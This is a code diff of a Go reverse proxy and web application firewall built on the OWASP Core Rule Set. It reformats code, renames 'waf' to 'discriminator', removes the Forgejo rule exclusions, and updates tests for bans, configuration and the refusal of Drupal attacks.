"a broken limit returned %+v and left the netblock %d bans, "+
|
"want the permanent ban and 2", ban, len(ledger.Bans(netblock)))
|
||||||
"want the permanent ban and 2",
|
|
||||||
ban,
|
|
||||||
len(ledger.Bans(netblock)),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -236,11 +195,7 @@ func TestNextBanWorkedOutFromTheBanThatEndedLast(t *testing.T) {
|
|||||||
// Once both have ended, a limit broken within the repeat window bans
|
// Once both have ended, a limit broken within the repeat window bans
|
||||||
// for three times the 9 hours, and the notes count the two bans
|
// for three times the 9 hours, and the notes count the two bans
|
||||||
// before the 9-hour one and it, for a limit, and the admin's.
|
// before the 9-hour one and it, for a limit, and the admin's.
|
||||||
ban, _ := ledger.BanForLimit(
|
ban, _ := ledger.BanForLimit(netblock, nineHours.Expires.Add(time.Hour), bans.Notes{})
|
||||||
netblock,
|
|
||||||
nineHours.Expires.Add(time.Hour),
|
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
if ban.Expires.Sub(ban.Start) != 27*time.Hour ||
|
if ban.Expires.Sub(ban.Start) != 27*time.Hour ||
|
||||||
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 3, Admin: 1}) {
|
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 3, Admin: 1}) {
|
||||||
t.Errorf("the next ban lasts %s with earlier bans %+v, "+
|
t.Errorf("the next ban lasts %s with earlier bans %+v, "+
|
||||||
@@ -271,10 +226,7 @@ func TestLoadKeepsAtMostMaxBansDroppingTheEarliest(t *testing.T) {
|
|||||||
|
|
||||||
held := ledger.Snapshot()
|
held := ledger.Snapshot()
|
||||||
if len(held) != 1 || !reflect.DeepEqual(held[0], later) {
|
if len(held) != 1 || !reflect.DeepEqual(held[0], later) {
|
||||||
t.Errorf(
|
t.Errorf("the ledger holds %+v, want only the ban that began later", held)
|
||||||
"the ledger holds %+v, want only the ban that began later",
|
|
||||||
held,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -304,25 +256,16 @@ func TestLoadReplacesTheBansHeld(t *testing.T) {
|
|||||||
// bans.json is taken in, that ban is lifted.
|
// bans.json is taken in, that ban is lifted.
|
||||||
ledger.Load([]bans.Ban{kept})
|
ledger.Load([]bans.Ban{kept})
|
||||||
|
|
||||||
_, banned, _ := ledger.Check(
|
_, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.9"), midnight())
|
||||||
netip.MustParseAddr("203.0.113.9"),
|
|
||||||
midnight(),
|
|
||||||
)
|
|
||||||
if banned {
|
if banned {
|
||||||
t.Error("a ban left out of the second load still refuses")
|
t.Error("a ban left out of the second load still refuses")
|
||||||
}
|
}
|
||||||
|
|
||||||
// The ledger holds one ban, so it makes two more without dropping any.
|
// The ledger holds one ban, so it makes two more without dropping any.
|
||||||
first, _ := ledger.BanForLimit(
|
first, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(),
|
||||||
netip.MustParsePrefix("198.51.100.7/32"),
|
bans.Notes{})
|
||||||
midnight(),
|
second, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.8/32"), midnight(),
|
||||||
bans.Notes{},
|
bans.Notes{})
|
||||||
)
|
|
||||||
second, _ := ledger.BanForLimit(
|
|
||||||
netip.MustParsePrefix("198.51.100.8/32"),
|
|
||||||
midnight(),
|
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
|
|
||||||
want := []bans.Ban{first, second, kept}
|
want := []bans.Ban{first, second, kept}
|
||||||
if got := ledger.Snapshot(); !reflect.DeepEqual(got, want) {
|
if got := ledger.Snapshot(); !reflect.DeepEqual(got, want) {
|
||||||
|
|||||||
+2324
-9
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
+19
-87
@@ -22,12 +22,12 @@ type RProxy struct {
|
|||||||
// TrustedProxies are the netblocks whose X-Forwarded-For is believed
|
// TrustedProxies are the netblocks whose X-Forwarded-For is believed
|
||||||
// (SWRP_TRUSTED_PROXIES).
|
// (SWRP_TRUSTED_PROXIES).
|
||||||
TrustedProxies []netip.Prefix
|
TrustedProxies []netip.Prefix
|
||||||
// WAFBackend is waf's URL (SWRP_WAF_BACKEND).
|
// WAFBackend is discriminator's URL (SWRP_WAF_BACKEND).
|
||||||
WAFBackend *url.URL
|
WAFBackend *url.URL
|
||||||
// Timeout is how long rproxy waits for waf's answer to a question,
|
// Timeout is how long rproxy waits for discriminator's answer to a question,
|
||||||
// and to a report (SWRP_TIMEOUT_MS). It cannot be off.
|
// and to a report (SWRP_TIMEOUT_MS). It cannot be off.
|
||||||
Timeout time.Duration
|
Timeout time.Duration
|
||||||
// DefaultDisposition is what is done with a request when waf cannot be
|
// DefaultDisposition is what is done with a request when discriminator cannot be
|
||||||
// connected to, does not answer at all, or does not answer within Timeout:
|
// connected to, does not answer at all, or does not answer within Timeout:
|
||||||
// allow or deny (SWRP_DEFAULT_DISPOSITION).
|
// allow or deny (SWRP_DEFAULT_DISPOSITION).
|
||||||
DefaultDisposition string
|
DefaultDisposition string
|
||||||
@@ -48,25 +48,14 @@ type RProxy struct {
|
|||||||
settings []slog.Attr
|
settings []slog.Attr
|
||||||
}
|
}
|
||||||
|
|
||||||
// defaultUpstreamURL is the default of SWRP_UPSTREAM_URL.
|
|
||||||
const defaultUpstreamURL = "http://127.0.0.1:8081"
|
|
||||||
|
|
||||||
// privateRanges are the private address ranges, the default trusted
|
|
||||||
// proxies.
|
|
||||||
const privateRanges = "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16"
|
|
||||||
|
|
||||||
var (
|
var (
|
||||||
errNotUpstreamURL = errors.New(
|
|
||||||
"is not a URL with only a scheme, a host and an optional port, " +
|
|
||||||
"such as http://127.0.0.1:8081")
|
|
||||||
errNeedsWAFBackend = errors.New(
|
errNeedsWAFBackend = errors.New(
|
||||||
"is required: it is waf's URL, such as http://waf:8080")
|
"is required: it is discriminator's URL, such as http://discriminator:8080")
|
||||||
errNotDisposition = errors.New("is not allow or deny")
|
errNotDisposition = errors.New("is not allow or deny")
|
||||||
errNotMilliseconds = errors.New(
|
errNotMilliseconds = errors.New(
|
||||||
"is not a whole number of milliseconds above zero, such as 2000")
|
"is not a whole number of milliseconds above zero, such as 2000")
|
||||||
errNotMillisecondsOrOff = errors.New(
|
errNotMillisecondsOrOff = errors.New(
|
||||||
"is not a whole number of milliseconds above zero, such as 60000, or off",
|
"is not a whole number of milliseconds above zero, such as 60000, or off")
|
||||||
)
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// RProxyFromEnvironment reads rproxy's settings with lookupEnv, normally
|
// RProxyFromEnvironment reads rproxy's settings with lookupEnv, normally
|
||||||
@@ -74,36 +63,19 @@ var (
|
|||||||
// SWRP_WAF_BACKEND, which has none, must be set. A setting that is set but
|
// SWRP_WAF_BACKEND, which has none, must be set. A setting that is set but
|
||||||
// invalid is an error that names it. Since rproxy never touches disk, its
|
// invalid is an error that names it. Since rproxy never touches disk, its
|
||||||
// settings have no _FILE form.
|
// settings have no _FILE form.
|
||||||
func RProxyFromEnvironment(
|
func RProxyFromEnvironment(lookupEnv func(string) (string, bool)) (*RProxy, error) {
|
||||||
lookupEnv func(string) (string, bool),
|
|
||||||
) (*RProxy, error) {
|
|
||||||
env := &environment{lookupEnv: withoutFileForms(lookupEnv)}
|
env := &environment{lookupEnv: withoutFileForms(lookupEnv)}
|
||||||
cfg := &RProxy{
|
cfg := &RProxy{
|
||||||
ListenAddr: env.address("SWRP_LISTEN_ADDR"),
|
ListenAddr: env.address("SWRP_LISTEN_ADDR"),
|
||||||
UpstreamURL: env.appURL(
|
UpstreamURL: env.appURL("SWRP_UPSTREAM_URL", defaultUpstreamURL),
|
||||||
"SWRP_UPSTREAM_URL",
|
TrustedProxies: env.netblocks("SWRP_TRUSTED_PROXIES", privateRanges),
|
||||||
defaultUpstreamURL,
|
WAFBackend: env.wafBackend("SWRP_WAF_BACKEND"),
|
||||||
),
|
Timeout: env.milliseconds("SWRP_TIMEOUT_MS", "2000"),
|
||||||
TrustedProxies: env.netblocks(
|
DefaultDisposition: env.disposition("SWRP_DEFAULT_DISPOSITION", "allow"),
|
||||||
"SWRP_TRUSTED_PROXIES",
|
MaxRequestSize: env.size("SWRP_MAX_REQUEST_SIZE", "100M"),
|
||||||
privateRanges,
|
MaxResponseSize: env.size("SWRP_MAX_RESPONSE_SIZE", "1G"),
|
||||||
),
|
MaxRequestTime: env.millisecondsOrOff("SWRP_MAX_REQUEST_TIME_MS", "60000"),
|
||||||
WAFBackend: env.wafBackend("SWRP_WAF_BACKEND"),
|
MaxResponseTime: env.millisecondsOrOff("SWRP_MAX_RESPONSE_TIME_MS", "1800000"),
|
||||||
Timeout: env.milliseconds("SWRP_TIMEOUT_MS", "2000"),
|
|
||||||
DefaultDisposition: env.disposition(
|
|
||||||
"SWRP_DEFAULT_DISPOSITION",
|
|
||||||
"allow",
|
|
||||||
),
|
|
||||||
MaxRequestSize: env.size("SWRP_MAX_REQUEST_SIZE", "100M"),
|
|
||||||
MaxResponseSize: env.size("SWRP_MAX_RESPONSE_SIZE", "1G"),
|
|
||||||
MaxRequestTime: env.millisecondsOrOff(
|
|
||||||
"SWRP_MAX_REQUEST_TIME_MS",
|
|
||||||
"60000",
|
|
||||||
),
|
|
||||||
MaxResponseTime: env.millisecondsOrOff(
|
|
||||||
"SWRP_MAX_RESPONSE_TIME_MS",
|
|
||||||
"1800000",
|
|
||||||
),
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if env.err != nil {
|
if env.err != nil {
|
||||||
@@ -152,15 +124,7 @@ func (c *RProxy) LogValue() slog.Value {
|
|||||||
return slog.GroupValue(c.settings...)
|
return slog.GroupValue(c.settings...)
|
||||||
}
|
}
|
||||||
|
|
||||||
// appURL reads a setting that is the app's URL.
|
// wafBackend reads the setting that is discriminator's URL, which must be set.
|
||||||
func (e *environment) appURL(name, defaultValue string) *url.URL {
|
|
||||||
upstream, err := parseUpstreamURL(e.value(name, defaultValue))
|
|
||||||
e.check(name, err)
|
|
||||||
|
|
||||||
return upstream
|
|
||||||
}
|
|
||||||
|
|
||||||
// wafBackend reads the setting that is waf's URL, which must be set.
|
|
||||||
func (e *environment) wafBackend(name string) *url.URL {
|
func (e *environment) wafBackend(name string) *url.URL {
|
||||||
value := e.value(name, "")
|
value := e.value(name, "")
|
||||||
if value == "" {
|
if value == "" {
|
||||||
@@ -175,7 +139,7 @@ func (e *environment) wafBackend(name string) *url.URL {
|
|||||||
return backend
|
return backend
|
||||||
}
|
}
|
||||||
|
|
||||||
// disposition reads the setting that is what is done with a request when waf
|
// disposition reads the setting that is what is done with a request when discriminator
|
||||||
// cannot be connected to, does not answer at all, or does not answer in time:
|
// cannot be connected to, does not answer at all, or does not answer in time:
|
||||||
// allow or deny.
|
// allow or deny.
|
||||||
func (e *environment) disposition(name, defaultValue string) string {
|
func (e *environment) disposition(name, defaultValue string) string {
|
||||||
@@ -202,9 +166,7 @@ func (e *environment) milliseconds(name, defaultValue string) time.Duration {
|
|||||||
|
|
||||||
// millisecondsOrOff reads a setting that is a whole number of milliseconds
|
// millisecondsOrOff reads a setting that is a whole number of milliseconds
|
||||||
// above zero, or off, which is 0.
|
// above zero, or off, which is 0.
|
||||||
func (e *environment) millisecondsOrOff(
|
func (e *environment) millisecondsOrOff(name, defaultValue string) time.Duration {
|
||||||
name, defaultValue string,
|
|
||||||
) time.Duration {
|
|
||||||
value := e.value(name, defaultValue)
|
value := e.value(name, defaultValue)
|
||||||
if value == off {
|
if value == off {
|
||||||
return 0
|
return 0
|
||||||
@@ -228,33 +190,3 @@ func parseMilliseconds(value string) (time.Duration, bool) {
|
|||||||
|
|
||||||
return time.Duration(n) * time.Millisecond, true
|
return time.Duration(n) * time.Millisecond, true
|
||||||
}
|
}
|
||||||
|
|
||||||
// parseUpstreamURL reads the app's URL: http or https, a host and an
|
|
||||||
// optional port from 1 to 65535, and nothing else, since the request's
|
|
||||||
// own path and query go to the app unchanged.
|
|
||||||
func parseUpstreamURL(value string) (*url.URL, error) {
|
|
||||||
upstream, err := url.Parse(value)
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
|
|
||||||
}
|
|
||||||
|
|
||||||
onlySchemeAndHost := (upstream.Scheme == "http" || upstream.Scheme == "https") &&
|
|
||||||
upstream.Hostname() != "" &&
|
|
||||||
upstream.User == nil &&
|
|
||||||
upstream.Opaque == "" &&
|
|
||||||
(upstream.Path == "" || upstream.Path == "/") &&
|
|
||||||
upstream.RawQuery == "" &&
|
|
||||||
upstream.Fragment == ""
|
|
||||||
if !onlySchemeAndHost {
|
|
||||||
return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
|
|
||||||
}
|
|
||||||
|
|
||||||
if upstream.Port() != "" {
|
|
||||||
port, err := strconv.ParseUint(upstream.Port(), 10, 16)
|
|
||||||
if err != nil || port == 0 {
|
|
||||||
return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return upstream, nil
|
|
||||||
}
|
|
||||||
@@ -24,7 +24,7 @@ const (
|
|||||||
rproxyMaxResponse = "SWRP_MAX_RESPONSE_SIZE"
|
rproxyMaxResponse = "SWRP_MAX_RESPONSE_SIZE"
|
||||||
rproxyRequestTime = "SWRP_MAX_REQUEST_TIME_MS"
|
rproxyRequestTime = "SWRP_MAX_REQUEST_TIME_MS"
|
||||||
rproxyAnswerTime = "SWRP_MAX_RESPONSE_TIME_MS"
|
rproxyAnswerTime = "SWRP_MAX_RESPONSE_TIME_MS"
|
||||||
backendURL = "http://waf:8080"
|
backendURL = "http://discriminator:8080"
|
||||||
rproxyDefaultAddr = ":8080"
|
rproxyDefaultAddr = ":8080"
|
||||||
rproxyDefaultApp = "http://127.0.0.1:8081"
|
rproxyDefaultApp = "http://127.0.0.1:8081"
|
||||||
notASize = "a lot"
|
notASize = "a lot"
|
||||||
@@ -50,28 +50,18 @@ func TestRProxyDefaults(t *testing.T) {
|
|||||||
if cfg.ListenAddr != rproxyDefaultAddr ||
|
if cfg.ListenAddr != rproxyDefaultAddr ||
|
||||||
cfg.UpstreamURL.String() != rproxyDefaultApp ||
|
cfg.UpstreamURL.String() != rproxyDefaultApp ||
|
||||||
cfg.WAFBackend.String() != backendURL {
|
cfg.WAFBackend.String() != backendURL {
|
||||||
t.Errorf(
|
t.Errorf("addresses %q, %v, %v", cfg.ListenAddr, cfg.UpstreamURL, cfg.WAFBackend)
|
||||||
"addresses %q, %v, %v",
|
|
||||||
cfg.ListenAddr,
|
|
||||||
cfg.UpstreamURL,
|
|
||||||
cfg.WAFBackend,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if cfg.Timeout != 2*time.Second || cfg.DefaultDisposition != "allow" {
|
if cfg.Timeout != 2*time.Second || cfg.DefaultDisposition != "allow" {
|
||||||
t.Errorf(
|
t.Errorf("timeout %v, default disposition %q", cfg.Timeout, cfg.DefaultDisposition)
|
||||||
"timeout %v, default disposition %q",
|
|
||||||
cfg.Timeout,
|
|
||||||
cfg.DefaultDisposition,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if cfg.MaxRequestSize != 100<<20 || cfg.MaxResponseSize != 1<<30 {
|
if cfg.MaxRequestSize != 100<<20 || cfg.MaxResponseSize != 1<<30 {
|
||||||
t.Errorf("sizes %d and %d", cfg.MaxRequestSize, cfg.MaxResponseSize)
|
t.Errorf("sizes %d and %d", cfg.MaxRequestSize, cfg.MaxResponseSize)
|
||||||
}
|
}
|
||||||
|
|
||||||
if cfg.MaxRequestTime != time.Minute ||
|
if cfg.MaxRequestTime != time.Minute || cfg.MaxResponseTime != 30*time.Minute {
|
||||||
cfg.MaxResponseTime != 30*time.Minute {
|
|
||||||
t.Errorf("times %v and %v", cfg.MaxRequestTime, cfg.MaxResponseTime)
|
t.Errorf("times %v and %v", cfg.MaxRequestTime, cfg.MaxResponseTime)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -110,12 +100,9 @@ func TestRProxySettingsAreRead(t *testing.T) {
|
|||||||
t.Errorf("addresses %+v", cfg)
|
t.Errorf("addresses %+v", cfg)
|
||||||
}
|
}
|
||||||
|
|
||||||
if cfg.Timeout != 150*time.Millisecond ||
|
if cfg.Timeout != 150*time.Millisecond || cfg.DefaultDisposition != "deny" ||
|
||||||
cfg.DefaultDisposition != "deny" ||
|
cfg.MaxRequestSize != 1024 || cfg.MaxResponseSize != 0 ||
|
||||||
cfg.MaxRequestSize != 1024 ||
|
cfg.MaxRequestTime != 0 || cfg.MaxResponseTime != 250*time.Millisecond {
|
||||||
cfg.MaxResponseSize != 0 ||
|
|
||||||
cfg.MaxRequestTime != 0 ||
|
|
||||||
cfg.MaxResponseTime != 250*time.Millisecond {
|
|
||||||
t.Errorf("limits %+v", cfg)
|
t.Errorf("limits %+v", cfg)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -127,8 +114,8 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
|
|||||||
name, value string
|
name, value string
|
||||||
}{
|
}{
|
||||||
{wafBackend, ""},
|
{wafBackend, ""},
|
||||||
{wafBackend, "waf:8080"},
|
{wafBackend, "discriminator:8080"},
|
||||||
{wafBackend, "http://waf:8080/path"},
|
{wafBackend, "http://discriminator:8080/path"},
|
||||||
{rproxyTimeout, "0"},
|
{rproxyTimeout, "0"},
|
||||||
{rproxyTimeout, "-1"},
|
{rproxyTimeout, "-1"},
|
||||||
{rproxyTimeout, off},
|
{rproxyTimeout, off},
|
||||||
@@ -160,9 +147,7 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
|
|||||||
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
|
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
_, err := rproxyConfig(
|
_, err := rproxyConfig(map[string]string{wafBackend: backendURL, tc.name: tc.value})
|
||||||
map[string]string{wafBackend: backendURL, tc.name: tc.value},
|
|
||||||
)
|
|
||||||
if err == nil || !strings.HasPrefix(err.Error(), tc.name+": ") {
|
if err == nil || !strings.HasPrefix(err.Error(), tc.name+": ") {
|
||||||
t.Errorf("error %v, want one naming %s", err, tc.name)
|
t.Errorf("error %v, want one naming %s", err, tc.name)
|
||||||
}
|
}
|
||||||
@@ -173,9 +158,7 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
|
|||||||
func TestRProxyTrustedProxiesSetButEmptyTrustNothing(t *testing.T) {
|
func TestRProxyTrustedProxiesSetButEmptyTrustNothing(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
cfg, err := rproxyConfig(
|
cfg, err := rproxyConfig(map[string]string{wafBackend: backendURL, rproxyTrusted: ""})
|
||||||
map[string]string{wafBackend: backendURL, rproxyTrusted: ""},
|
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("settings: %v", err)
|
t.Fatalf("settings: %v", err)
|
||||||
}
|
}
|
||||||
@@ -189,8 +172,7 @@ func TestRProxyNeedsItsBackend(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
_, err := rproxyConfig(nil)
|
_, err := rproxyConfig(nil)
|
||||||
if err == nil ||
|
if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") {
|
||||||
!strings.HasPrefix(err.Error(), wafBackend+": is required") {
|
|
||||||
t.Errorf("error %v, want one saying %s is required", err, wafBackend)
|
t.Errorf("error %v, want one saying %s is required", err, wafBackend)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -206,8 +188,7 @@ func TestRProxyReadsNoFile(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
_, err = rproxyConfig(map[string]string{wafBackend + "_FILE": path})
|
_, err = rproxyConfig(map[string]string{wafBackend + "_FILE": path})
|
||||||
if err == nil ||
|
if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") {
|
||||||
!strings.HasPrefix(err.Error(), wafBackend+": is required") {
|
|
||||||
t.Errorf("error %v, want %s still required", err, wafBackend)
|
t.Errorf("error %v, want %s still required", err, wafBackend)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
File diff suppressed because it is too large.
Load diff
@@ -1,6 +1,6 @@
|
|||||||
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
|
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
|
||||||
// method, the URL with its query and the headers of a request, and on its
|
// method, the URL with its query and the headers of a request, and on its
|
||||||
// body while SWW_WAF_BODY_LIMIT is set, with the fifteen changes sww
|
// body while SWW_WAF_BODY_LIMIT is set, with the fourteen changes sww
|
||||||
// makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
|
// makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
|
||||||
// "Attack detection" under "Settings" in SPEC.md describes them. It reads no
|
// "Attack detection" under "Settings" in SPEC.md describes them. It reads no
|
||||||
// response.
|
// response.
|
||||||
@@ -36,7 +36,7 @@ import (
|
|||||||
// giteaExclusions for the third, wordpressExclusions for the fourth,
|
// giteaExclusions for the third, wordpressExclusions for the fourth,
|
||||||
// drupalExclusions for the fifth, mediawikiExclusions for the sixth,
|
// drupalExclusions for the fifth, mediawikiExclusions for the sixth,
|
||||||
// mastodonExclusions for the seventh, vaultwardenExclusions for the eighth,
|
// mastodonExclusions for the seventh, vaultwardenExclusions for the eighth,
|
||||||
// nextcloudExclusions for the ninth, and forgejoExclusions for the tenth.
|
// and nextcloudExclusions for the ninth.
|
||||||
// Each rule sww adds has an id from 900000 to 900999, the ids the
|
// Each rule sww adds has an id from 900000 to 900999, the ids the
|
||||||
// Core Rule Set keeps for the rules that set it up, which
|
// Core Rule Set keeps for the rules that set it up, which
|
||||||
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
|
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
|
||||||
@@ -102,10 +102,7 @@ SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
|
|||||||
# So does the thirteenth.
|
# So does the thirteenth.
|
||||||
%s
|
%s
|
||||||
|
|
||||||
# So does the fourteenth.
|
# And the fourteenth.
|
||||||
%s
|
|
||||||
|
|
||||||
# And the fifteenth.
|
|
||||||
%s
|
%s
|
||||||
|
|
||||||
# The sixth: only the rules for requests are loaded, and no response is
|
# The sixth: only the rules for requests are loaded, and no response is
|
||||||
@@ -242,19 +239,11 @@ var vaultwardenExclusions string
|
|||||||
//go:embed nextcloud.conf
|
//go:embed nextcloud.conf
|
||||||
var nextcloudExclusions string
|
var nextcloudExclusions string
|
||||||
|
|
||||||
// forgejoExclusions are the fifteenth change: the fields of Forgejo's own
|
|
||||||
// requests that skip the rules that refused them there, where Forgejo differs
|
|
||||||
// from gitea, as Coraza directives.
|
|
||||||
//
|
|
||||||
//go:embed forgejo.conf
|
|
||||||
var forgejoExclusions string
|
|
||||||
|
|
||||||
// cookiesNotRead are the cookies the Core Rule Set reads a request
|
// cookiesNotRead are the cookies the Core Rule Set reads a request
|
||||||
// without, the rest of the fifth change. flash is Forgejo's name for
|
// without, the rest of the fifth change.
|
||||||
// gitea_flash.
|
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var cookiesNotRead = []string{"gitea_flash", "flash", "redirect_to"}
|
var cookiesNotRead = []string{"gitea_flash", "redirect_to"}
|
||||||
|
|
||||||
// Params are what New needs.
|
// Params are what New needs.
|
||||||
type Params struct {
|
type Params struct {
|
||||||
@@ -292,11 +281,9 @@ var errSwwRuleID = errors.New("an id of sww's own rules")
|
|||||||
// directive that removes or changes rules as it loads, such as
|
// directive that removes or changes rules as it loads, such as
|
||||||
// SecRuleRemoveById. The Core Rule Set's rules load after the file, so
|
// SecRuleRemoveById. The Core Rule Set's rules load after the file, so
|
||||||
// the directive finds none of them.
|
// the directive finds none of them.
|
||||||
var errChangesNoRule = errors.New(
|
var errChangesNoRule = errors.New("the Core Rule Set's rules load after the file; " +
|
||||||
"the Core Rule Set's rules load after the file; " +
|
"switch a rule off with SWW_WAF_DISABLED_RULES, or on some requests " +
|
||||||
"switch a rule off with SWW_WAF_DISABLED_RULES, or on some requests " +
|
"with a ctl exclusion")
|
||||||
"with a ctl exclusion",
|
|
||||||
)
|
|
||||||
|
|
||||||
// directivesIn returns the directives in text as Coraza reads them: it
|
// directivesIn returns the directives in text as Coraza reads them: it
|
||||||
// skips blank lines and comment lines, and joins a line ending in \ to
|
// skips blank lines and comment lines, and joins a line ending in \ to
|
||||||
@@ -340,27 +327,18 @@ func checkExclusions(exclusions string) error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if first <= lastOwnRuleID && last >= firstOwnRuleID {
|
if first <= lastOwnRuleID && last >= firstOwnRuleID {
|
||||||
return fmt.Errorf(
|
return fmt.Errorf("the exclusions file names %s: %w", match[0],
|
||||||
"the exclusions file names %s: %w",
|
errSwwRuleID)
|
||||||
match[0],
|
|
||||||
errSwwRuleID,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Coraza takes the directive's name up to the first space, without
|
// Coraza takes the directive's name up to the first space, without
|
||||||
// regard to case.
|
// regard to case.
|
||||||
name, _, _ := strings.Cut(directive, " ")
|
name, _, _ := strings.Cut(directive, " ")
|
||||||
if lower := strings.ToLower(name); strings.HasPrefix(
|
if lower := strings.ToLower(name); strings.HasPrefix(lower, "secruleremove") ||
|
||||||
lower,
|
|
||||||
"secruleremove",
|
|
||||||
) ||
|
|
||||||
strings.HasPrefix(lower, "secruleupdate") {
|
strings.HasPrefix(lower, "secruleupdate") {
|
||||||
return fmt.Errorf(
|
return fmt.Errorf("%s in the exclusions file changes no rule: %w", name,
|
||||||
"%s in the exclusions file changes no rule: %w",
|
errChangesNoRule)
|
||||||
name,
|
|
||||||
errChangesNoRule,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -374,7 +352,7 @@ type CoreRuleSet struct {
|
|||||||
bodyLimit int64
|
bodyLimit int64
|
||||||
}
|
}
|
||||||
|
|
||||||
// New returns the Core Rule Set with the fifteen changes, at params'
|
// New returns the Core Rule Set with the fourteen changes, at params'
|
||||||
// paranoia level, without the rules it switches off, reading request
|
// paranoia level, without the rules it switches off, reading request
|
||||||
// bodies up to params' limit, and with params' exclusions file loaded
|
// bodies up to params' limit, and with params' exclusions file loaded
|
||||||
// before the Core Rule Set's rules. An exclusions file is an error if it
|
// before the Core Rule Set's rules. An exclusions file is an error if it
|
||||||
@@ -404,7 +382,7 @@ func New(params Params) (*CoreRuleSet, error) {
|
|||||||
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
|
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
|
||||||
giteaExclusions, wordpressExclusions, drupalExclusions,
|
giteaExclusions, wordpressExclusions, drupalExclusions,
|
||||||
mediawikiExclusions, mastodonExclusions, vaultwardenExclusions,
|
mediawikiExclusions, mastodonExclusions, vaultwardenExclusions,
|
||||||
nextcloudExclusions, forgejoExclusions)
|
nextcloudExclusions)
|
||||||
|
|
||||||
if len(params.DisabledRules) > 0 {
|
if len(params.DisabledRules) > 0 {
|
||||||
ids := make([]string, len(params.DisabledRules))
|
ids := make([]string, len(params.DisabledRules))
|
||||||
@@ -499,10 +477,7 @@ func (c *CoreRuleSet) Inspect(
|
|||||||
// readBody reads one byte past the limit, to tell which they are, gives
|
// readBody reads one byte past the limit, to tell which they are, gives
|
||||||
// the Core Rule Set what it reads, and returns what it read and the error
|
// the Core Rule Set what it reads, and returns what it read and the error
|
||||||
// that ended the reading early, if one did.
|
// that ended the reading early, if one did.
|
||||||
func (c *CoreRuleSet) readBody(
|
func (c *CoreRuleSet) readBody(tx types.Transaction, body io.Reader) ([]byte, error) {
|
||||||
tx types.Transaction,
|
|
||||||
body io.Reader,
|
|
||||||
) ([]byte, error) {
|
|
||||||
if c.bodyLimit == 0 {
|
if c.bodyLimit == 0 {
|
||||||
return nil, nil
|
return nil, nil
|
||||||
}
|
}
|
||||||
|
|||||||
File diff suppressed because it is too large.
Load diff
@@ -124,25 +124,15 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.body)
|
got, _ := inspectBody(t, crs, r, sent.body)
|
||||||
if got.Score < drupalThreshold {
|
if got.Score < drupalThreshold {
|
||||||
t.Errorf(
|
t.Errorf("POST %s %q let through: %+v", sent.target, sent.body, got)
|
||||||
"POST %s %q let through: %+v",
|
|
||||||
sent.target,
|
|
||||||
sent.body,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
|
||||||
// TestDrupalAttacksAreRefusedInTheExcludedJSONFields is the JSON half of
|
for _, attack := range []string{
|
||||||
// TestDrupalAttacksAreRefusedInTheExcludedBodyFields.
|
injection,
|
||||||
func TestDrupalAttacksAreRefusedInTheExcludedJSONFields(t *testing.T) {
|
scriptTag,
|
||||||
t.Parallel()
|
} {
|
||||||
|
|
||||||
crs := readingBodies(t)
|
|
||||||
|
|
||||||
for _, attack := range []string{injection, scriptTag} {
|
